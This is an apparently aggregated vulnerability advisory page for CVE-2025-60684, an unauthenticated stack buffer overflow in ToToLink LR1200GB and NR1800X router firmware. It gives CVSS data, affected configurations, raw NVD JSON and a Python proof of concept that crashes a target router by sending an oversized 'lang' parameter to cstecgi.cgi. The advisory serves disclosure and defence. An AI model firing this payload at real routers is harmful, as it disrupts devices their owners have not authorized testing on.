Security Vulnerability Report
中文
CVE-2025-60684 CVSS 6.5 MEDIUM

CVE-2025-60684

Published: 2025-11-13 16:15:52
Last Modified: 2025-11-24 15:33:48

Description

A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (sub_42F32C function). The web interface reads the "lang" parameter and constructs Help URL strings using sprintf() into fixed-size stack buffers without proper length validation. Maliciously crafted input can overflow these buffers, potentially leading to arbitrary code execution or memory corruption, without requiring authentication.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink LR1200GB < V9.1.0u.6619_B20230130
ToToLink NR1800X < V9.1.0u.6681_B20230703
cstecgi.cgi sub_42F32C function (affected firmware versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-60684 PoC - ToToLink Router cstecgi.cgi Stack Buffer Overflow # Target: ToToLink LR1200GB / NR1800X # Vulnerability: Stack buffer overflow via lang parameter in cstecgi.cgi def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-60684 """ # Generate payload with excessive length to trigger overflow # Adjust length based on buffer size (typically 256-512 bytes) payload = "A" * 600 url = f"http://{target_ip}:{target_port}/cstecgi.cgi" params = {"lang": payload} try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") # Send request without waiting for response (may cause crash) response = requests.get(url, params=params, timeout=5) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (vulnerable)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down or vulnerable") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit function - demonstrates buffer overflow condition """ # Construct overflow payload # Note: Actual exploitation requires ROP chain and proper return address overflow_length = 1024 payload = "lang=" + "B" * overflow_length url = f"http://{target_ip}:{target_port}/cstecgi.cgi" print(f"[*] Attempting buffer overflow with {overflow_length} bytes") try: requests.get(url, params=payload, timeout=3) except: print("[!] Target crashed or unreachable - vulnerability confirmed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60684-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 check_vulnerability(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60684", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.337", "lastModified": "2025-11-24T15:33:48.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (sub_42F32C function). The web interface reads the \"lang\" parameter and constructs Help URL strings using sprintf() into fixed-size stack buffers without proper length validation. Maliciously crafted input can overflow these buffers, potentially leading to arbitrary code execution or memory corruption, without requiring authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:*", "matchCriteriaId": "7F9DCAA5-1EC6-44A1-9606-B6FBF29DEC65"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:*", "matchCriteriaId": "B4D2D0E8-2678-4238-8229-83450ECA1153"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60684.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}